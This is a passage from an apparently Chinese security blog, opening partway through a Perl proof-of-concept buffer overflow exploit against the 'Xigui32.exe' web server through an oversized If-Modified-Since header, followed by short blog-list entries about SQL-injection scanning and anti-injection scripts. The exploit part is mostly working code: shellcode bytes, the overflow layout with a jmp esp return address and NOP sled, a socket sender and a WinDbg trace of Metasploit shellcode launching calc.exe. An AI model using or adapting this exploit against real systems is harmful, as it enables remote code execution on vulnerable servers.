18:"\x9f\x82\xef\x1c\xff\xca\x9e\xec\x1e\x81\xa6\xd0\x10\x01\xd2\x57".
19:"\xeb\x5d\x73\x57\xf3\x49\x35\xd5\x10\xc1\x6e\xdc\x9b\x41\x55\xb4".
20:"\xa7\x1e\xef\x2a\xfb\x17\x57\x24\x18\x81\xa5\x8c\xf3\xb1\x54\xd8".
21:"\xc4\x29\x46\x22\x11\x4f\x89\x23\x7c\x22\xbf\xb0\xf8\x6f\xbb\xa4".
22:"\xfe\x41\xde\xdc";
23:#
24:$ending="\r\n\r\n";
25:
26:$expcode="$head"."$buffer"."$ret"."$jmpcode"."$n0p"."$shellcode"."$ending";
27:###############################################
Let us talk about structure of variable '$expcode '.
HTTP HEAD FORMAT: LINE 03-05,LINE 24;
IF-MODIFIED-SINCE content: LINE 06-09,LINE 11-22.

Sandwich Structure:
|------'A'x72------|--"\x12\x45\xfa\x7f"--|-----"\xeb\x30"-----|--"\x90"x55--|-"$shellocode"-|
|< useless buffer >|<   jump esp addres  >|<jmp short 00000032>|<  55 nops  >|<  shellcode  >|

A.Useless buffer is 72 bytes;
B.Jmp esp address is 0x7ffa4512;
C.After ret(jmp esp) is a jmpcode:
[perl code:]"\xeb\x30"     < - >     [asm:]jmp short 00000032
(hex)32==(int)50
So the $jmpcode means jump backward over 50 bytes.
D.After jmpcode are 55 nopS.Jmpcode will run because of RETURN ADDRESS is jump esp,and jmpcode ran
to step across 50 nopS,so the pointer into site forward 5 nopS.
E.$shellcode form metasploit will start calc.exe after 5 nopS.

Other code of PoC:
ok,now we take a socket to exploit it!
#Perl code:
use Socket;
use IO::Handle;
$|=1;
socket(SOCK,AF_INET,SOCK_STREAM,6) || die("cannot create socket!\n");
$address=inet_aton("127.0.0.1");
$target=sockaddr_in(80,$address);
connect(SOCK,$target) || die("cannot connect target!\n");
SOCK->autoflush(1);
send(SOCK,$expcode,0) || die("cannot send data!\n");
close(SOCK);
exit 1;
#Over

DEBUG:
Local Machine use Windbg to Attach the 'Xigui32.exe' Process,and Exploit it!...
**********************************************
0:003> g
(d54.3e4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=77e49e28 ecx=fffffc36 edx=00000000 esi=b66116ff edi=77e48efc
eip=00c9ffa9 esp=00c9ff24 ebp=77e10000 iopl=0         nv up ei pl zr na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00010246
00c9ffa9 ac               lodsb                                ds:b66116ff=??
0:001> d eip
00c9ffa9  ac 84 c0 74 07 c1 ca 0d-01 c2 eb f4 3b 54 24 04  ...t........;T$.
00c9ffb9  75 e5 8b 5f 24 01 eb 66-8b 0c 4b 8b 5f 1c 01 eb  u.._$..f..K._...
00c9ffc9  8b 1c 8b 01 eb 89 5c 24-04 c3 31 c0 64 8b 40 30  ......\$..1.d.@0
00c9ffd9  85 c0 78 0c 8b 40 0c 8b-70 1c ad 8b 68 08 eb 09  ..x..@..p...h...
00c9ffe9  8b 80 b0 00 00 00 8b 68-3c 5f 31 f6 60 56 89 f8  .......h<_1.`V..
00c9fff9  83 c0 7b 50 68 f0 8a 04-5f 68 98 fe 8a 0e 57 ff  ..{Ph..._h....W.
00ca0009  e7 63 61 6c 63 2e 65 78-65 00 00 00 00 00 00 00  .calc.exe.......
00ca0019  00 10 00 00 20 00 00 00-02 00 00 00 20 00 00 22  .... ....... .."
**********************************************

标签:安全技术 | 浏览数(342) | 评论数(0) | 02-28 23:58
写了个所谓的PHP SQL注入扫描器  

又是一个傻瓜作品,而且没完成,主要是有些函数测了半天,还是无法完成相应的功能(这个PHP的版本比ASP的版本要难弄很多),唉。。。未完成的东西。。。

阅读全文...
标签:安全技术 | 浏览数(550) | 评论数(1) | 01-03 21:38
终于进入I170白名单了,发篇烂文,随便庆祝一下.  

<防SQL注入脚本测试>,主要是针对neeao防注入系统进行的一些小分析.

附件为文档.

 

标签:安全技术 | 浏览数(546) | 评论数(3) | 2007-12-20

Powered by Haiwit